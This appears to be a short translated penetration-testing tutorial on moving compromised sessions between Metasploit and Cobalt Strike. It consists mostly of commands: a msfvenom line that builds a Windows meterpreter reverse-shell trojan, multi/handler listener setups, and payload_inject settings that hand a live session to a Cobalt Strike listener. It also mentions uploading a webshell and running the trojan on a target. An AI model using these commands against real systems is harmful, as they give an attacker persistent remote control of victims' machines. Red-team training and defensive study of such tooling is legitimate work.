Article directory
foreword
Both msf and cs are commonly used tools in the penetration process. It is also very common to use the two in combination. Here is a brief introduction on how to do it
1. MSF session passed to CS
1. MSF monitoring Trojan online
1. Make msf Trojan horse
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=8088 -f exe >/root/msf.exe
2. Upload the msf Trojan and monitor
During the infiltration process, the Trojan horse is usually uploaded and monitored after the webshell is uploaded. I won’t introduce it here, just run it directly.
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.109
set lport 8088
exploit
Successfully launched
3. Running in background
2. Joint CS
1. Start CS and create a listener
2. Use the payload_inject module on MSF
use exploit/windows/local/payload_inject //使用该模块可以将 Metasploit 获取到的会话注入到CS中
set payload windows/meterpreter/reverse_http //和cs监听器保持一致
set prependmigrate true
set DisablePayloadHandler true //用来禁用 Metasploit payload handler的监听 因为要监听到cs上
set lhost 192.168.0.109 //CS的IP
set lport 8089 //CS上的listen端口
set session 7 //要转发的session
3. Successfully launched
2. CS session is passed to MSF
1. CS Trojan horse online
I won’t go into details here. The general process is to create a Trojan horse after creating a listener, upload it and run it online.
Two. msf create monitor
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.109
set lport 8088
exploit
Three. CS add listener
4. Right-click the online host and add a session
5. The session is passed successfully
Summarize
This issue mainly introduces the method of using msf and cs linkage